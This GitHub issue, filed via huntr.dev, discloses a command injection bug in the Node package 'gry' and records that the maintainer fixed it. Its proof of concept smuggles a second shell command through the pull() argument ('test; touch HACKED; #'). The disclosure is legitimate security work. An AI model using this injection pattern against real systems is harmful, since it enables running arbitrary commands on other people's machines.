huntr.dev - Command Injection

[huntr-helper]

This issue has been generated on-behalf of Mik317 (https://huntr.dev/app/users/Mik317)

Vulnerability Description

The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here: https://github.com/IonicaBizau/node-gry/blob/master/lib/index.js#L149

Steps To Reproduce:

1. Create the following PoC file:

// poc.js
const Repo = require("gry");
var myRepo = new Repo(".");
myRepo.pull('test; touch HACKED; #', function(){console.log('Finished!')})

2. Check there aren't files called HACKED
3. Execute the following commands in another terminal:

npm i gry # Install affected module
node poc.js #  Run the PoC

4. Recheck the files: now HACKED has been created

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

[JamieSlome]

@IonicaBizau Resolved with #23?

[IonicaBizau]

yes, right! :) Thank you!

…

On 20 Apr 2020, at 15:34, Jamie Slome ***@***.***> wrote: @IonicaBizau <https://github.com/IonicaBizau> Resolved with #23 <#23>? — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub <#21 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AAV3J4YO64MFQ3JDN63VJ4TRNQ6MFANCNFSM4L4JEFFA>.